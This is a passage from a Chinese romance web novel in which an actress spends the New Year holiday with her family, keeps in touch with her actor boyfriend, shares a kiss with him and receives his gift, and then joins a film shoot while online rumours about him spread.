作为艺人，没有工作的时候，时间其实还是相对比较自由的，节后有个组要进，但她只是客串，具体需要什么时间过去还没定下来，江遥猜测着说：“至少得过完元宵吧，很久没在家里过元宵节了。”
说完她又开始跟他说起，小时候家里炸的元宵，和现在市面上卖的都不太一样，特别香。外婆家还有舞龙舞狮的活动，偶尔她会和兄弟姐妹去凑热闹。
她眉飞色舞，他忍不住跟着畅想，小小的她，是一副怎样的模样。
他安安静静地，仿佛她说他就会一直听，说到最后她也闭了嘴，转身过去抱住了他的腰，依偎进他怀里，认真告诉他：“我会想你的。”
她穿着薄薄的一件毛衣，整个身子陷在了他怀里，阳台上的落地窗紧闭，一丝风也刮不进屋里，他的心里却像被顽皮的小孩丢入了一颗石子，荡起了巨大的涟漪。
“嗯。”他克制着音调，虚虚应着，手下收紧，将她牢牢嵌进了胸口。
她在他的怀里找了个舒服的姿势，突然也有了一丝不舍。他的身上，满是清冽的味道，像山巅上的雪松，不肯为风雪折腰。她听着他一声声的心跳，偷偷藏起了嘴角的笑。
她想拂落他身上的霜雪，想让他快乐起来，于是，她在她怀里仰起头，清亮的眼眸里，映照着他眼里跳跃的火，而她全无防备，顽皮地启口，出声诱惑：“要不要亲一下。”
他喉头滚了滚，撇过了头，“不要。”
她哈哈大笑，踮脚啄在了他唇角：“我很快就回来了。”
他不想说话。
她又哄他：“可以给我打电话。”
他问：“每天都可以么？”
她很好说话：“嗯。”
“随时都可以么？”
她满口答应：“对。”
最后告别前，程绪的吻落在她唇上，轻轻啄了一下，像羽毛从唇上刷过，一触即离。屋里热意蒸腾，他的唇，却像泉水般清凉。
江遥揽住他的脖子，不自觉想要索求更多，他却克制地不肯再低头，看着她难耐的眼，望向她的眼睛深处：“我等你回来。”
于是她点点头：“嗯，我知道了。”
中午飞机落地C城，听着身边响起的熟悉的乡音，都是远归的旅人。江遥拉着行李箱步伐匆匆，奔向父母等待的身影。
老江帮忙把行李放进后备箱，乔红英直接换到后排，拉着她话起家常。
她看着窗外的风景，在心里咂摸，半年没见，C城好像又有了新的变化。不过她和离开的时候，也早已前进了许多。
车子路过百货商店，三人下车，给外公外婆挑了新年礼物，又给老家几房走动密切的亲戚朋友准备了礼品，后备箱被完全塞满才罢手。
真正到家已是下午，老江锁好车就洗手进了厨房。乔红英说，他天蒙蒙亮就去了菜市场，将要做的食材全部准备好，这会儿只等下锅。
乔红英在一旁给老江打下手，江遥不好意思干坐着，就在那陪他们说话。温馨不过几小时，最后她被忍无可忍的乔女士赶出了厨房，理由是碍手碍脚。
她灰溜溜进了卧室，等收好行李，饭菜也上了桌。老江的手艺她一直是信服的，只是年后又要进组，她也不敢吃太多。
在家的日子过得飞快，当傍晚她再次拿起手机的时候，远在A城的某人给她发了两条消息。
下午一点的时候，他问：「到了吗？」这是她昨晚告诉他的飞机落地时间。
半小时前，又有一条新消息，简单两个字：「骗子。」
江遥哭笑不得，手速飞快：「我错了。」
乔红英切好一盘水果，看她在沙发上捧着手机笑，比起半年前，脸色好看了很多。
她不知道她的变化是因事业的转折，还是旁的什么，只轻轻喊了声：“来吃水果。”
江遥笑着答了声好，又把手机丢在了沙发上，趿拉着拖鞋往餐桌旁走。不过这次，把消息提醒打开了。
睡前再看手机，之后他没有再发来消息。明天清早他们要开车回乡下，七点钟就得起床，江遥定好闹钟，给他留言：「明天早起，我要睡了。」
「没回就是没看到，不要太想我。」
想了想又补了两个字：「么么。」
程绪停好车，才看到江遥的信息，眼里闪过丝笑意，回她：「晚安。」
如今乡下家家户户也都买上了代步车，并不宽敞的乡村公路上，老司机们互相比拼着技术，有些外地车牌返乡，有人开惯了城里宽敞的公路，这会儿横在一旁进退不得。
有热心的乡邻摇下车窗指挥，好不热闹。路上碰到生面孔，会有人上来问是谁家的亲戚。有位姑娘带准老公回家，被人围上来看新女婿，直闹了个大红脸。
江遥看老江熟练地操作着方向盘，心里悄悄琢磨，这路让程绪来开，不知道技术如何。如果还得喊人来指挥交通，那就糗大了。想完她又拍了拍脑袋，嗤笑自己想太多。
外公外婆年近七旬，身体却还很硬朗，江遥看着他们灰白的头发，强忍住了哽咽的声音。小时候的很多假期，她都在这里度过，毕业后，她再也没有回来过。两位老人却欢欢喜喜地拉着她的手：“囡囡也来了。”
小时候一起玩耍过的兄弟姐妹，联系其实已经并不多，大家矜持地互相问好，克制地诉说着近些年的成长。
有个还在读小学的表妹却很喜欢她，嘴巴噼里啪啦讲个不停，说学校里有很多同学都是她的粉丝，很羡慕她有个这么厉害的表姐。
当
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着这么多亲戚的面，江遥尴尬得直想逃。找了个借口出了门，在乡间小道上四处乱晃。
路上又遇到了个邻居，江遥不认识，来人却很热情地跟她打招呼，“我小时候还抱过你呢！”
江遥微笑着问好，又偷偷折回了家。跟在乔女士旁边，听她和亲朋寒暄，或者去厨房帮忙择个菜。小表妹却黏上了她，走到哪跟到哪，看得大家直想笑。
等到晚上回房的时候，她感觉自己的脸已经笑僵了。找到某人的头像，问他：「在干嘛？」
他直接打来了电话：“怎么，无聊了？”
江遥不免觉得好笑，房间隔音并不是很好，她轻声反驳他：“怎么，不无聊就不能找你了？”温软的嗓音透过电流模糊着传来，听起来倒像是在撒娇。
他沉默了下，“随时恭候。”
江遥于是又跟他说了说这一天的见闻，那边偶尔有纸张翻动的声音，她问他在干什么。
程绪阖上手头的文件，关上了书房的灯，坐到客厅沙发上，揉了揉眉头，告诉她等会儿就睡了。
电话里有脚步声传来，听起来空荡而寂静，江遥想了想，还是问：“你还不回家么？”
他低低嗯了声。
她不知道他的生长环境，其实并不应该强加干涉，看他这样，又有点不太好受，一句话没过脑子，等她反应过来时，手机里唯余一片静默。
她说：“下次有空来我家玩好不好？”
他愣了许久，终于找回了自己的声音，扯起嘴角笑了笑，“好啊，下次一定。”
她这关爱弱小的毛病，真是让人头疼。
腊月二十九，程家早已装饰一新，从大门开始，就贴上了春联、福字，一派富丽堂皇喜气洋洋的模样，越往里走，越见精致考究。
明天就是除夕，餐厅里，气压却很低。家里的女主人愁眉不展，男主人识趣地不敢自讨苦吃，佣人们尽可能放轻脚步，怕惊动主人的沉思。
赵姨探头看了眼，沉沉叹了口气。近些年许婉清一直试图修复母子关系，程绪却软硬不吃，问到头上，也只会打太极。漂泊的打工人都陆续返乡，同在A城，他却只会在大年三十出现在家里的餐桌上。
程元峰从最初的怒不可遏，到后来的置之不理，这么多年，父子关系一直不冷不热维持在点头之交的范围里。碰上他情绪上头，程绪只会转身就走。
许婉清又叹了口气，赵姨也悄悄跟着叹了口气，程元峰皱着眉头，正想说点什么。余光里，有人正往这边走。
早餐时间，程绪突然一声不响出现在了家中。他脸色一沉，正想出言教训，许婉清顾不得矜持，猛地一下站起身，上前拉住了他的手：“阿绪，你回来了。”
觑了下他的脸色，她问得小心：“这几天就待家里不走了吧？”
程绪将外套交给等待的佣人，带着她重新坐回了餐桌，“嗯，年后再说。”
整个空间的空气开始重新流动。程元峰哼了声，继续手下的动作。
江遥起床的时候，看到他给她的留言：「我今天回家了。」
她回他：「抱抱。」
44. 新年快乐
知道程绪回家，最快乐的除了许婉清，莫过于周颂了。他早早被父母勒令回了老宅，不准和狐朋狗友出去厮混。
他张了张口反驳：“我交的都是正经朋友。”
周母懒得理他：“之前钱家那个小混子，不还和你称兄道弟吗？”
周颂直呼娘哟，这都多少年前的事了，还值得您老惦记着。
周太太冷艳一笑，留给他一个自行体会的眼神，吓得周颂打了一个激灵。倒不是说他娘威力多大，而是因为这事，他被程绪教训过，所以印象深刻。她也许是知道他对此有阴影，因此反复拿这段出来说。
他举手投降，老老实实待在家里等过年。这不知道程绪回了家，欢欢喜喜来串门了。
周颂啃着颗苹果进门，就看程绪窝在沙发上，腿上架着电脑，看起来是在处理工作。他大老远就开始叫唤：“这世界上除了工作就没有什么值得你留恋的事了吗？明天可就要过年了，能不能给底下人放个假了！”
刚被母亲指责过不学无术，看到这个卷王他就忍不住想抱怨两句，过年还不让人安心躺平，有没有天理了。
程绪合上电脑，推开他凑过来的脑袋：“没在工作。”
周颂脸上的愤怒瞬间切换成好奇，歪头问他：“这世界上除了工作还有什么值得你留恋的事？”
当然，这时他不会懂，程绪也不会主动跟他说。只是后来见过他落魄的模样，他才终于知道了答案。
有些人，只是伪装正常。
家里的一切都有佣人操持，许婉清看到儿子回来，情绪瞬间好转，又开始欢欢喜喜和朋友们约起下一场宴会的时间。程元峰见妻子重绽笑容，脸色也好看许多。夫妻俩眉来眼去，好不甜蜜。
程绪假装看不见这对夫妻的眉眼官司，刚打开电脑没多久，周颂就溜达上门，话还没说多久，齐淮也来了。
周颂啃了口苹果，“你终于舍得出门了，捣鼓大半年也赚不了几个钱，照我说这是何必呢。”
齐淮这会儿心情好，懒得管他调侃。他的新电影已经送审，目前只等一张上映许可证，如无意外，准备清明上映。
他翻出行程表给他们看之后的安排：“再不抓紧时间休息几天，年后又得忙起来了。”
程绪淡淡看了他一眼，齐淮收起手机，语气夸张：“没办法，我就是个劳碌命。”
客厅里笑语不断，忙碌的佣人们，也彻底放松了神情。
外公外婆上了岁数，春晚背景音响起的时候，年夜饭也开吃了。几家人聚在一起，大人和小孩分开坐。江遥被上小学的表妹拉去跟她一桌，整个桌上最大的也才十岁出头。好在小孩们对漂亮姐姐有着天然的好感，很快就打成了一片。
饭后，小孩们开开心心地出门放花炮，江遥也跟着去凑热闹。再进屋的时候，已经是十点多。外公外婆已经睡下，乔红英被拉上了牌桌。她在一旁围观了会儿，小表妹蹭过来，说想借她的手机玩游戏。江遥打开手机递过去，告诉她不能玩太久。
乔红英今天手气还不错，颇有继续大战三百回合的气势，指挥一旁的江遥去厨房洗点水果。江遥将果盘端上桌，擦干手，又在一旁凳子上坐下了。
小表妹举着手机跑过来，“姐姐姐姐，有老师找你。”
江遥一脸疑惑，不应该吧？她都多久没和老师联系了。
小表妹强调：“是程老师！”
江遥后知后觉想起来，自己做贼心虚，把某人备注给改了。
乔红英打出一张牌，闻声往这边看过来一眼，江遥低头接过手机，“行，给我吧。”
挪到一旁沙发上坐下，点开一看，还好，没说什么了不得的话，只是问她在干什么。赶紧把备注删掉，江遥回他：「没干什么。」
认真说起来她确实是什么也没干，只是一天被切分成一片一片的时间，好像一直在忙，但翻拣出来又没有什么特别值得说的。一天下来，手机还有大半的电量。
看着回过去的话，好像有点冷漠。聊天界面还停留在早上，她说要出门逛逛。程绪回家后，她都没来得及问问他在家里如何，于是她又补救：「看他们玩了会儿牌，过完零点就去睡。」
又问他：「你在干嘛？」
C：「跟你聊天。」
江遥看了眼时间，还有十分钟就到十二点了，「你们家守岁吗？」
房间里静悄悄的，主人休息得早，佣人们也早早睡下，程绪将床头的灯拨到最亮，给她回：「嗯。」
电视里已经准备开始倒数计时，小表妹过来拉她的手，让她一块儿参与，江遥放下手机，和大家互相说着新年快乐的吉祥话。
程绪踩着零点给她发了“新年快乐”。
她挑了个看起来很喜庆的表情包回了过去。
等完全走完亲戚已经到了大年初六，其间程绪给她打过一个电话，她没有接到，后来再回，匆匆讲了两句又被来串门的邻家大哥打断。
这位大哥算是江遥小时候的玩伴，已经在外地定居，今年也是难得返乡，看到江遥直说是有缘分，又操着字正腔圆的普通话夸赞她“还是那么漂亮”。等他走后，手上的电话不知什么时候已经被挂断。
聊天记录里，他们基本只剩下每天的日常问候维持着联系。
江遥坐在回家的车上，清点着包里被七大姑八大姨塞过来的红包，甚至还有一个是来自外婆的，想推都推不掉。她对着红包封面拍了张照，发给他：「收获满满。」
他回得很快：「在暗示我？」
江遥本是想显摆下，看到他的回复发过去一条：「也不是不行，我来者不拒。」
没想到他回：「礼物早就备好了，等你回来收。」
江遥好奇：「是什么？」他却不再回复。
江遥到底没在家里过上元宵节，年前面试的剧组发来通知，二月中需要进组，她提前两天回到A城。
将家里来了个大扫除，她给程绪发消息：「见面吗男朋友，我回来了。」
程绪几小时后才回复，很不巧，这两天他在B市出差。江遥只说没事，是她提前回来没有打招呼。算了算时间，应该还可以等他回来见一面再走。
于是这两天她又空闲了下来，选了部近期热播的剧打发时间。男女主都是出道多年的演员，目前看下来剧情也无
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明显bug，还挺下饭的。
第二天傍晚的时候，她已经追到了最后几集，男主发现女主已经死去的白月光，其实还在世上，内心惶惶不安。江遥有种预感，后面剧情估计会开始大洒狗血。但抱着善始善终的想法，还是硬着头皮往下看。
男主纠结了几天要不要隐瞒，最后还是良心不安，决定和女主坦白。女主刚刚打开门，江遥的电话就响了起来。她拿起遥控器按下暂停，在洗手台上找到了跳得正欢的手机。
是程绪的电话。
她还没有说话，那边就主动开了口，跳过寒暄，声音听起来有点急切：“你在家吗？”
“嗯。”江遥应了声，一种强烈的直觉促使她从沙发上站起来，走到阳台上往下张望。可惜这边看不到停车的地方。
果然，如她预想般，那边问：“方便来找你吗？”
“可以啊。”
电梯很快上来，江遥跑过来开门，她穿着件圆领卫衣，头发披在肩上，弯腰从鞋柜里拿了双拖鞋给他。程绪迟疑了一下，伸手接过。
江遥又翻出一次性纸杯，给他倒了杯水，重新按下遥控器，在一边沙发上坐了下来，问他：“你工作结束了？”
本就是个可有可无的行程，程绪双手捏着杯子，点点头。
江遥没有注意到他的动作，盯着电视看得认真。电视里女主把男主让进门，男主无措地站着。好一会儿，她没听到他声音，侧身去看他，眼里还带着点疑问。
他又点点头，“已经处理完了。”
江遥笑了笑，“那时间还真巧，不然咱们只能过阵子再见啦。”她已经定好了明天下午的机票。
又想起他说的礼物，她伸手过去，“我礼物呢。”
程绪放下杯子，从大衣口袋里掏出个首饰盒，放进她摊开的手心。
包装盒看起来挺精致，没有logo，看不出品牌。江遥直接当着他的面打开，是一条项链。素色的项圈上搭一个小小的吊坠，简单到极致，却不失优雅格调。是她喜欢的风格。
她扬起嘴角，撩开头发，转过身将链子递给他，“给我戴上。”
白皙的脖颈毫无防备地坦露在眼前，程绪接过项链，一只手绕过她身前，低头扣着搭扣。批惯了文件手，在一条小小的项链面前，却有点发挥不出用处。微微的呼吸喷洒在脖颈上，有热意四散，江遥忍不住催促，“好了吗？”
距离太近，她身上的香气，清晰可闻，他垂着头，认真和这小小的一圈链条作斗争，良久，他起了身，“好了。”
江遥得到解放，打开手机摄像头左右看了看，挺满意这效果，又转头问他，“是不是和我还挺搭？”
链条环绕着她脖颈，随着动作在身前轻微晃动。程绪的眼睛跟着游转，真心夸赞：“很漂亮。”
原本应该说的是项链，她却听出了一语双关。
她屈着腿坐在沙发上，一抬头撞进了他深沉的眼底。
电视里男女主还在激烈争吵，壶里的水在翻滚沸腾，她的心脏，在胸腔里疯狂跳动。耳边，却早已听不清，任何的声音。世界在瞬间拉下帷幕，独独隔出他们两个人。
45. 着迷
她大睁着眼睛，看着他倾身靠近，看着他一点点俯下身，世界被一键消音，只有他的呼吸，一声声，拨动她的神经。
距离被无限拉近，只要她往前一步，就能吻上他的唇。他停下动作，抬起眼眸，认真地将她凝视着，清凉的嘴唇一张一合，“可以么？”
声音低柔，仿佛怕惊醒梦中的人。
她呆怔着忘了反应，于是，眼睁睁看着自己落进他的囚笼。
冰冷的唇试探着印上她的唇角，一点点打上自己的烙印，却不再满足于这样的靠近。
嘴唇被轻轻含住，他好似有着无尽的耐心，在她的唇上辗转厮磨，一寸寸轻柔安抚。
女孩清亮的眼里水雾蒙蒙，玫瑰般的唇瓣水润靡丽，一个轻柔的吻落上她的眼，她听到他的低笑声，于是，安心地阖上了眼睛。
动人的眸子安静垂落，白皙的脸颊不点而红，他心底的野兽在嘶鸣怒吼，他贪婪地将她抱紧，用力撕下无形的壁垒，将无辜的人儿涂抹上绮丽的颜色。
他再一次俯身靠近，耐心诱哄，一点点叩开她的齿关，在她唇齿间涂满自己的气息。江遥全身的力气被抽走，身体下陷的一刻，她想，还好自己在沙发上坐着。
程绪捞住了她下滑的身子，舌尖向更深处搅弄、舔舐，这样清冷的人，却有着如此火热的唇舌，仿佛要焚烧尽她的理智。
江遥伸手去推，想逃开这样无望的下坠，却感觉到自己的手腕，被牢牢攥住了。熟悉的手掌再一次覆上了她的手，和滚烫的唇舌一起，将她一点点揉碎、抚平。
她彻底失去抵抗的力气，试探着伸出舌尖，堕落地跟随着他一起共舞。
心底被她随手扔下巨石，巨大的水花向着四周飞溅而出，天地间的声音全部注入他的耳廓。风也轻轻，雨点低吟，万物可喜，世界清明。
“滴……滴……滴……”一阵短促的声响，唤醒沉醉中的人，江遥意识回笼，是厨房的水烧开了。
电视的声音不知道什么时候被他调小了，他正闭着眼睛，动情地将她吻着，睫毛静静垂落，衣服的摩挲和唇齿间的吞咽声，听得她脸红心跳。她胸口急促起伏，差点窒息在他的吻里。
察觉到她的窘迫，他终于放开了她，伏在她肩头重重喘息。她扭头钻进了他的怀里，听着一声声起伏的心跳，她缓缓扬起一丝笑，原来，他也在为她着迷。
她从他怀里挣出来，将电视的声音重新调高，热闹的背景音，却让此刻的沉默更显突兀。她捋了捋头发，端起杯子，状似自然地站起身往厨房走，问他：“喝水吗？”
他看着她红红的脸颊，神情玩味，“渴了？”
江遥瞪了他一眼，那怪谁！
等她倒了水从厨房出来，程绪坐在沙发上认真看起了电视。
男女主和白月光正齐聚一堂，各自诉说着自己的身不由己，编剧在最后，还是逃不开给观众洒狗血，这里导演还特意给了个特写，白月光放大的脸出现在屏幕上，嘴里说着祝福男女主幸福快乐的话，声音却像在泣血，“是我来晚了。”
不说演技如何，看到这里她可以确定这剧是妥妥烂尾了，再没了蹲结局的兴趣，拿起遥控器切了下一个频道。欢快的声音传来，是个综艺。
程绪也不管她，又认真看起了综艺节目。她松了一口气，挨过去和他一起看节目，随手摸了个玩偶抱在怀里，问他，“你从机场过来的？”
“嗯，再晚点你就跑了。”他声音淡淡的，笑话都讲不出好笑的味道，不过江遥现在才不怵他，继续给手里的玩偶顺着毛。
他从她怀里把玩偶掏了出来，又把自己手塞了过来，江遥疑惑，他直接上手，十指紧扣。
她向来很喜欢他的手，修长有有力，骨骼分明，指甲也修剪得干净整齐。盯着盯着，又觉得有点热，她端起杯子喝了口水，结果他跟着凑过来，水全部进了他的嘴。
电视里已经换了个节目在演，江遥捂着发疼的嘴，躲到了沙发另一侧。不同于第一次的缠绵温柔，这一次他攻击性强了许多，吸得她舌根发麻，有水顺着嘴角蜿蜒着往下流，莫名多了丝旖旎的况味。
她伸手去推，又好像在将他拉回，迷迷糊糊里，不知是想要更近，还是更远些。
闹到最后，原定的晚餐计划取消，两人叫了外卖随便应付了一顿。
送走程绪，江遥摸到掉进沙发缝里的手机，决定友情给汪静静提个醒：「最近很火那个剧你看了吗？」
看来确实是挺火的，她都没说名字，汪静静就猜到了她说的哪部戏，「再火也不看，休想让我给苏远安贡献收视率。」
敢情她知道苏远安客串了啊，怎么没人来提醒她一下呢。江遥将手机一丢，陷入了沉默。
第二天下午的飞机，吃完中饭差不多就要出发，十一点程绪的车开到楼下，吃完饭她再打车去机场和小鱼汇合。
去的是一家私人餐厅，离机场不算远，给她节约了点在路上的时间。
程绪点菜很是干脆利落，几分钟就合上菜单交给了侍应生。
桌上两人有一搭没一搭聊了几句，他兴致不太高，江遥后来也没怎么说话。
饭后上了道甜品，她拿着勺子吃得认真，一小口一小口，速度却不慢，细瘦的脖颈上，腮帮子鼓鼓的，像只小仓鼠。
“不怕胖了？”程绪收回视线，声音听起来没什么情绪。说完他自己怔了一下，明明只是想跟她说说话，落在耳里倒像是指责。
好在江遥没想太多，语气骄傲，“我回去还瘦了两斤呢。”
乔红英去年底迷上了广场舞，江遥不方便跟她去广场，两人就投屏在家里跳，本来她只是打算跟着玩，没想到胳膊腿还没有她娘灵活，好胜心一起来，发现广场舞减肥效果竟然还不错。
不过被他这么一说，到底有些心有戚戚，把盘子推到他跟前，“剩下的归你。”
程绪接过几口吃完，又问她什么时候回来。
要进的是部现代戏，周期很快，江遥算了算，一星期左右就能完事。
她给他大概说了下这部戏的背景，程绪淡淡应着，看起来兴趣寥寥。
江遥紧急闭了嘴，这样的剧组他估计看不上眼。又问他：“你还接戏吗？”
他还是一如既往的答案：“没什
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么有兴趣的本子。”
江遥啧了声，旱的旱死涝的涝死。一堆人攀不上的资源排着队往他手上递，人家愣是没有看上的。
为免路上堵车，她看了眼时间，拿上衣服匆匆要走。一句“拜拜”还没说完，人已到了门前。门刚刚打开一道缝，她身子一歪，被带进了他怀里。咔哒一声响，刚拉开的缝隙再次紧闭。
江遥立马伸手捂住嘴，骨碌碌的眼睛望着他。
他笑了下，“干嘛？”
她声音嗡嗡，“你想干嘛？”
他伸手把她口罩往上拉了拉，声音缓慢而克制，“早点回来。”
江遥点点头，勒令他稍坐会儿再出来。
房门无声合上，脚步声匆匆远去，窗外太阳高悬天上，照到身上，却给不了人太多温暖。
走到门口，江遥碰到了个熟人。
方琦挽着一个中年男人，笑得花枝招展，正往这边走。男人看起来保养得还不错，但看面容也绝不会年轻。
看到她，方琦还是改变不了爱演的毛病，“遥遥，好久不见了。”要不是还挽着男人的手，估计能抱着她来演个久别重逢。
江遥看了眼手机，脸上露出点为难的样子，“不好意思我现在赶时间，你看……”
方琦表示理解，“那咱们下次再叙。”
江遥满口答应，一溜烟跑了老远。
朱富春侧头看了眼离开的女人，“你朋友？”
方琦嘴角勾了勾，“人家哪看得上我。”
这个剧组看起来不差钱，直接在市中心包了个酒店，一个客串几天的演员也分到了豪华单间。小鱼啧啧称赞，将剧组夸上了天。
晚餐直接在酒店吃的自助，菜品种类应有尽有，角落里放着一架钢琴，有人正在现场演奏，舒缓柔美的钢琴曲在餐厅里缓缓流淌，意境十足。
直至看到前面桌上一字排开的碗碟……江遥脚步微微凝滞，琢磨是不是该另外找个位置。
小鱼从食物里抬起头，看到她端着盘子站在不远处，伸出手热情招呼，“遥遥姐，这里！”
江遥慢慢挪过去，对她的战斗力极为佩服。小鱼不知矜持为何物，端起餐盘又是一阵风卷残云，“感觉我现在可以吃下一头牛！”中午的饭太难吃了，她都没有吃几口。
两人边吃边打趣，江遥正建议小鱼可以去做吃播博主，一道男声在一旁蓦地响起，“遥遥，真的是你！”
话是从江遥前方传来的，小鱼扭过脖子去看，有点眼熟。正在记忆里努力搜寻这号人物，江遥已经脱口而出，“姜大哥，你怎么也在！”
被她这么一喊，卡着的那个点突然通了，姜朗，出道多年的黄金配角，之前和江遥在《问情》合作过，演的正是女主的大哥。
剧组已经拍了几天，目前拍的主要是小演员的戏份，江遥客串的是女主小时候的邻居姐姐。姜朗出现在这里，只能说明他们又进了同一个组。
江遥起身和他打招呼，看起来之前合作留下的印象还不错。他没有要走的意思，站在这里寒暄也不是个事儿，小鱼连忙把桌上四散的盘子一收，拉开椅子请他入座。
46. 见家长
姜朗打量着眼前的江遥，心内也不无感慨。
初识时她还是十八九岁的小姑娘，剧里他演的是哥哥，因为两人同姓“jiang”，大家笑说两人有缘分，江遥剧外也欢欢喜喜跟着喊大哥。后来《问情》大爆，庆功宴上她还是一点架子都没有，像小妹妹一样，拉着他各种蹭镜头。
他凭着《问情》的兄妹情赚得不少曝光，此后一直不缺戏约，多年积攒下来，成了一些人口中的“老”戏骨。
几年没见，没想到在这碰上了。她戴着帽子，素面朝天，明明是偏妩媚的长相，眼神却一如当年，明净纯澈，餐厅的灯光打在她头顶上，整个人看起来很柔和。
“姜大哥，你演的哪个角色？”串个戏没想到还能遇到故人，江遥心内颇有点激动，丝毫没见生疏。
姜朗也就放了心，告诉她自己也就客串几天，戏份不多，昨天刚进组。
三人一桌气氛很是和谐，吃完刚好程绪消息进来，问她晚餐吃了什么，江遥嘴角笑意还没散，忍不住和他分享，今天遇到了个老朋友。
他直截了当：「谁？」
「姜朗。」
怕他不认识，江遥还特意说了下前情，重点强调感情不错，「以前跟我演过兄妹，很照顾我的。」
程绪觉得这没什么大不了，有这么漂亮懂事的妹妹，照顾是应该的。不过这话不适合跟她说，于是回了个「哦。」
江遥看着屏幕上简单粗暴一个大写的“哦”，这天聊不下去了。
「拜拜，睡了。」
进组的时候，小鱼就大夸过剧组的壕无人性，几天拍下来，江遥的感受就是，预算少不一定事少，预算多的项目也不一定难搞。
她天天被天真可爱的小演员围着喊姐姐，几天下来都感觉自己年轻了几岁，对戏的演员也很和善。还有几场戏是和姜朗拍的，有时候赶上饭点还能一起捧着盒饭侃侃，小日子过得很惬意。
这天收工，天已经完全黑了下来。天气预报报道又有冷空气来袭，江遥将羽绒服拉链往上拉了拉，扯过帽子兜头戴上，只想快点回酒店泡个热水澡。
“哟——”一声带着笑意的起哄声传来，最初不知是谁起的头，后来越来越多的人默契加入，长长的调子，尾音上扬，成功拖住了江遥往外走的脚步。
只见同组一个女演员捧着一大束玫瑰，火红的花束，比她整个人还大一圈。她此时正好站在灯光下，脸上的笑意掩也掩不住。听到大家调侃，头都快埋进了花里，嘴角的笑意却更甜了。
这位吴老师走的不是流量路线，早些年就面向大众公开了恋情，男友也是圈内人，爱情长跑多年还能这么甜蜜，属实让人羡慕。
大家暧昧地笑了起来，打趣道：“感情真好啊。”
有人看她抱得吃力，主动上前想要帮忙，“吴老师，我帮你拿吧。”
这么大捧花搬回酒店就够麻烦，怎么存放又是个问题，不过礼物嘛看的也就是个心意。所以在它完成自己的使命后，被主人直接就地瓜分了。
江遥看着手中几朵娇艳的玫瑰，才想起来，今天是情人节。她和程绪的第一个情人节，竟然就这么平平无奇地度过了。
到酒店拿起手机，才发现也并不算平平无奇。
吃瓜小能手汪静静刚刚给她分享了个链接，文案写着：＃程绪孟棠见家长＃，疑好事将近。
汪静静还是风风火火的画风，「真的假的！」
空调已经开始吹起了暖风，整个人慢慢回暖，江遥点进链接，是视频截出来的几张动图。拍摄地点在B城，看衣着，时间应该就是最近。
程绪没有戴口罩，图片像素模糊，看起来像是远远偷拍的镜头，但这个身形气质，毫无疑问就是他了。
孟棠裹着围巾露出半张脸，一个人埋头走在前面。程绪落后一点，在和一个中年男人说话，男人低着头，脸看不清楚。单看程绪的肢体动作，应该也不是第一次见面。
有粉丝在看到消息的第一时间，拿着程绪工作室的截图辟谣，「早澄清了，转发过五百是要负法律责任的。」
有人将信将疑：「那他们这是在？」
汪静静应该是看到新闻就分享了过来，她刚点进去的时候，评论才几百条，再一刷新，评论已经上千了。
爆料的营销号直接回复了辟谣的粉丝，声称这是发给粉丝的情人节福利，让大家沾沾喜气怎么了？
看他直接硬怼粉丝，有人心里一喜，态度直接一个大转弯，跟着加入嗑CP的阵营。
不过爆出来的画面里两人并没有什么亲密动作，粉丝自然不愿意被按头：「谁还没有几个女性朋友了。」
也有路人中立表示：「他和孟棠关系一直都不错啊。」
这种言论马上遭到反驳：「哦，也就是个能让他特意从A城跑B市来见的女性朋友。」
好在程绪有强大的路人缘支撑，有部分人就是对他本人有着盲目信任：「他也没必要骗人吧，辟谣了你们又不信。心疼程绪。」
「就是，而且人家想怎么谈怎么谈，以为是流量明星还得看你们脸色呢，能不能离他私生活远点。」
江遥翻了翻评论和实时，嗑CP的、辟谣的、将信将疑的、无脑支持的基本能打个平手，关了微博，给汪静静回复：「假的。」
汪静静追问：「你怎么知道？」
其实她倒也不觉得是真的，只是江遥这语气，看起来怎么就那么肯定呢。
江遥就地取材，拎了程绪粉丝的辟谣来用：「之前不是辟谣过吗，我还手滑点过赞。」
汪静静对圈内的辟谣不敢恭维，咂了咂嘴，提醒她：「去年辟谣单身那位今年娃都能下地跑了吧。」
说的是圈子里一个立单身人设的男明星，被拍到几次和某位女星的照片，热搜轰轰烈烈上了好几回，人家愣是不承认，辟谣声明发了又发，结果今年直接升级当爹，被喷得差点滚出娱乐圈。
江遥想了想，如果程绪能来这出，那只能说他这么多奖杯真不是白拿的，反正自己这道行是完全看不出。
她只好委婉表示：「他人品不至于这么差吧。」
汪静静才不买账：「实力和人品不能划等号的好不好。」
她感慨了几句贵圈真乱，话题又绕到了江遥身上，问她今天情人节有什么活动。
这倒是提醒了江遥，男朋友什么表示也没有，哦不对，刚还送了个很大的惊喜呢。她看
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热闹不嫌事大，直接把链接转发给了男主角。
另外又从吴老师朋友圈偷了张玫瑰图发给汪静静，一秒不到，被她直接拆穿：「你自己买的吧？」
江遥无奈摊手：「你要这么想我也没办法。」
汪静静：「……渣男。」
暖风吹得人昏昏欲睡，江遥靠着沙发看了会儿电视，黄金档节目结束，广告过后，播起了晚间新闻。她拿起衣服，挣扎着起身进了浴室。
洗完澡出来，困意完全被驱散了。用毛巾将头发擦了个半干，江遥盘着腿坐在沙发上打开吹风机的开关，持续的响声，完全掩盖了门外的动静。
小鱼抹了把汗，继续拍门。
隐隐约约有声音传来，江遥关掉吹风，凝神听了听，“咚咚咚”，确实是有人。
踩上拖鞋往门边走，敲门声持续不断，模糊夹杂着小鱼的声响。
透过猫眼一看，果然是她。
江遥披散着头发拉开门，“姑奶奶，大晚上的干什么呢？”
小鱼闪身钻进来，又赶紧把门关上，“姑奶奶，你看看手机吧。”
“怎么了？”江遥不解。她最近也就这么一项工作，收工后就是自由时间了，能有什么大事这么火急火燎的。
小鱼不答，示意她自己看。
放置在一旁的手机应景般地响了起来，联系人“程老师”的来电。江遥顿了顿，终于想起来了这茬。
她接通电话，没有说话。
“下来一下。”电话里程绪的声音传来，听起来有点闷闷的。
“？”江遥脑袋里瞬间竖起一个问号，没有出声。
“我在你酒店楼下。”对面继续说道。
江遥眼睛微微瞪大，拿着手机望向一旁沙发上坐着的小鱼。小鱼一言难尽地看着她，撇了撇嘴。你们这些臭情侣的游戏，能不能别带上我。
她睡前刷微博看到程绪孟棠那个词条的时候，扫了一眼就划过了，压根没当回事。谁知道半小时后杨越突然问她酒店地址，后来又让她联系江遥。拍了许久的门都没人，害她小心脏跟着悬了一下。
怪不得说智者不入爱河，原来恋爱让人失智啊。
江遥没管她脑海里怎么跑马，说了两句挂了电话，又坐在沙发上吹起了头发，一手拿着手机在翻看。
